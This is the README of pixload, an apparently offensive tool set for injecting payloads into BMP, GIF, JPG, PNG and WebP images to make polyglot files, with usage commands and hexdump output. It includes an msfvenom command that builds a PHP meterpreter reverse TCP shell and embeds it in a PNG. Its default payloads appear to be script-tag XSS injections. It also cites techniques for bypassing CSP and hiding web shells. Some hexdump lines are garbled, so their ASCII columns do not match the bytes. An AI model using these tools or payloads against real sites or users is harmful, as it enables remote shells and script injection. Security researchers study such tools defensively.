pixload -- Image Payload Creating tools

DESCRIPTION

Set of tools for ~~hiding backdoors~~ creating/injecting payload into images.

The following image types are currently supported: BMP, GIF, JPG, PNG, WebP.

about

Useful references for better understanding of

pixload

• Bypassing CSP using polyglot JPEGs

• Hacking group using Polyglot images to hide malvertising attacks

• Encoding Web Shells in PNG IDAT chunks

• An XSS on Facebook via PNGs & Wonky Content Types

• Revisiting XSS payloads in PNG IDAT chunks

If you want to encode a payload in such a way that the resulting binary blob is both valid x86 shellcode and a valid image file, I recommend you to look here and here.

msfvenom

If you want to inject a metasploit payload, try something like this:

msfvenom -p php/meterpreter_reverse_tcp \
    LHOST=192.168.0.1 LPORT=31337 -f raw > payload.php
# Edit payload.php if need.
./pixload/png.pl -payload "$(cat payload.php)" -output payload.png

SETUP

The following Perl modules are required:

• GD

• Image::ExifTool

• String::CRC32

On

Debian-based

sudo apt install libgd-perl libimage-exiftool-perl libstring-crc32-perl

On

OSX

Docker

docker build -t pixload .
docker run -v "$(pwd):/pixload" -it --rm pixload

TOOLS

bmp.pl

BMP Payload Creator/Injector.

Create a minimal BMP Polyglot Image with custom/default payload, or inject payload into existing image.

Usage

./bmp.pl [-payload 'STRING'] -output payload.bmp

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be created.

Example

./bmp.pl -output payload.bmp

[>|       BMP Payload Creator/Injector      |] Generating output file
[✔] File saved to: payload.bmp
[>] Injecting payload into payload.bmp
[✔] Payload was injected successfully
payload.bmp: PC bitmap, OS/2 1.x format, 1 x 1
00000000  42 4d 2f 2a 00 00 00 00  00 00 1a 00 00 00 0c 00  |BM/............|
00000010  00 00 01 00 01 00 01 00  18 00 00 00 ff 00 2a 2f  |............../|
00000020  3d 31 3b 3c 73 63 72 69  70 74 20 73 72 63 3d 2f  |=1;......|
00000070  01 00 01 01 01 11 00 ff  c4 00 14 00 01 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 03 ff da 00  |................|
00000090  08 01 01 00 00 00 01 3f  ff d9                    |.......?..|
0000009a

png.pl

PNG Payload Creator/Injector.

Create a PNG Image with custom/default payload, or inject payload into existing image.

The payload is injecting into IDAT data chunks.

Usage

./png.pl [-payload 'STRING'] -output payload.png

If the output file exists, then the payload will be injected into the
existing file.  Else the new one will be created.

Example

./png.pl -output payload.png

[>|      PNG Payload Creator/Injector       |] Generating output file
[✔] File saved to: payload.png
[>] Injecting payload into payload.png
[+] Chunk size: 13
[+] Chunk type: IHDR
[+] CRC: fc18eda3
[+] Chunk size: 9
[+] Chunk type: pHYs
[+] CRC: 952b0e1b
[+] Chunk size: 25
[+] Chunk type: IDAT
[+] CRC: c8a288fe
[+] Chunk size: 0
[+] Chunk type: IEND
[>] Inject payload to the new chunk: 'pUnk'
[✔] Payload was injected successfully
payload.png: PNG image data, 32 x 32, 8-bit/color RGB, non-interlaced
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
00000010  00 00 00 20 00 00 00 20  08 02 00 00 00 fc 18 ed  |... ... ........|
00000020  a3 00 00 00 09 70 48 59  73 00 00 0e c4 00 00 0e  |.....pHYs.......|
00000030  c4 01 95 2b 0e 1b 00 00  00 19 49 44 41 54 48 89  |...+......IDATH.|
00000040  ed c1 31 01 00 00 00 c2  a0 f5 4f ed 61 0d a0 00  |..1.......O.a...|
00000050  00 00 6e 0c 20 00 01 c8  a2 88 fe 00 00 00 00 49  |..n. ..........I|
00000060  45 4e 44 ae 42 60 82 00  00 00 00 00 00 00 00 00  |END.B`..........|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
000000c0  00 1f 70 55 6e 6b 3c 73  63 72 69 70 74 20 73 72  |..pUnk